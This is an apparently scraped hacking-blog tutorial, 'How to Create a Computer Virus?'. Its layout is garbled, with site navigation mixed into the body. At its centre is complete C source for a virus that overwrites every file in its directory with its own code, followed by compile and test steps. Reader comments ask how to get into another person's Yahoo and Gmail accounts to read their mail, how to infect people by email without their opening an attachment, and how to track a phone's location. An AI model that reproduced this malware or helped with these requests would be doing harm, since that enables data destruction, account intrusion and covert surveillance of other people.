Professional Documents
Culture Documents
CONTACT
30,105 22,585
H
owtoCre
atea Subscribers Fans
C
omp
ute
rVirus
?
866 1,268
Followers In Circles
GET FREE
UPDATES
Srikanth Ramesh Get Weekly Updates
delivered directly to
This program is an example of how to create your Mailbox from
a computer virus in C language. This program GoHacking!
demonstrates a simple virus program which
when executed creates a copy of itself in all
Enter Your Email
the other files that are present in the same
directory.
SUBSCRIBE
Thus, it destroys other files by infecting
them. The infected file will also become a
virus so that when executed, it is capable of
spreading the infection to another file and
so on.
CATEGORIE
Here’s the source code of the virus program: S
FILE *virus,*host;
HOW STUFF 9
int done,a=0;
WORKS
unsigned long x;
char buff[2048]; HOW-TO GUIDES 52
struct ffblk ffblk;
clock_t st,end; INTERNET 30
SECURITY
void main()
NEWS AND OFFERS
2
{
st=clock(); WEB HACKING 16
clrscr();
done=findfirst("*.*",&ffblk,0); //Search for a file wi
WINDOWS th any extens
HACKS25
while(!done)
{
virus=fopen(_argv[0],"rb");
host=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next;
x=89088;
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(end-st)/CLK_TCK);
getch();
}
H
owt
oCo
mpi
let
heP
rog
ram
:
For a step-by-step guide, you can refer my
detailed post on how to compile C programs?
H
owtoTes
ttheV
iru
sAf
tert
he
C
omp
ila
tio
n:
1. Create a new empty folder.
Comments
good
VERONIKA SAYS
Hi,
Let me give you a question.
I can infect a victim with a virus sent by e-
mail without the recipient opens the
attachment?
Thank you!
Veronika.
@ Himanshu
Nice………..& thaks
Srikant,
I need your help in finding me the PW of
Yahoo & Gmail as I was cheated by a
partner in business I want to peep
through his e-mails and see what is he
upto-or I will suffer more by losing my
international clients.
Thanks Husain
SRIKANTH SAYS
@ rahul
@ srikanth
SRIKANTH SAYS
@ newbie
thnx
@srikanth
SRIKANTH SAYS
@ newbie
SRIKANTH SAYS
@ Aqi
SRIKANTH SAYS
@ Aqi
You can contact me from the contact
page and I’ll receive your message on
my email.
SRIKANTH SAYS
@ Aditya
hai,
#include
main()
{
int a[4]={1,2,3,4},i,j,k,h;
clrscr();
for(i=0;i<4;i++)
for(j=0;j<4;j++)
for(k=0;k<4;k++)
for(h=0;h<4;h++)
if(a[i]!=a[j])
if(a[i]!=a[k])
if(a[i]!=a[h])
if(a[j]!=a[h])
if(a[j]!=a[k])
if(a[k]!=a[h])
printf(“%d%d%d\t”,a[i],a[j],a[k]);
getch();
}
awaiting ur response
SRIKANTH SAYS
@ Aditya
SRIKANTH SAYS
@ Aditya
“INFORMATION IS POWER”
SRIKANTH SAYS
@ RahRah
hi Shrikant,
can you please tell me from where can i
get c compiler
hai sir,
SRIKANTH SAYS
@ aditya
Refer
http://www.tnd.com/camosun/elex130/dostutor1.html
http://bestlesson.50webs.com/learnms-
dos.html
hi Shrikant,
can this file be compiled on dev c++
compiler
SRIKANTH SAYS
@ Virendra
Hi Srikanth brother,
Don’t laugh to my childy question.
Should I want to download C (whats it?)
And how can I Create login.php(using
notepad or other softwares)
Atleast give me a basic Idea about PHP
and about C
Reply me soon pls pls.
Thankyou.
hi srikanth,
reply me at naveenbanni@gmail.com
SRIKANTH SAYS
@ naveen
SRIKANTH SAYS
@ Raj Singh
Hi Srikanth,
i have a few questions about learning C
programming..usually how long does it
take somebody to learn C programming
bcoz i’m a total beginner to this thing..is
it difficult to learn C??..where can i get the
C compiler for free??
thanx
xxxx
@ Savio
CUTELIKEKOBRA SAYS
SRIKANTH SAYS
@ oldnewby
@ Ankit
Dear Sir,
will you please let me know other
websites, where I can know about creation
and working of viruses.
hey …
i had not yet practise it. But like to know
that this viruses are not detected by the
antiviruses. just want to know before
trying will it harm the computer a lot?
how would i know that it is infected?
only that folder will b infected or whole
computer will b infected.
before trying i want to know the
consequence so that i dont regret what i
did to my computer…
pls reply…//
@ neha
hi shrikant,
do u know any thing to hack location of
any mobile no. by gps system. or any
other. plz reply me.
SRIKANTH SAYS
@ jay
i can understand…….
Srhikant Sir,
You are best of all……..!!!!!!!
amazzzzzzing site …!
hats off to u my frnd !
SUBSCRIBE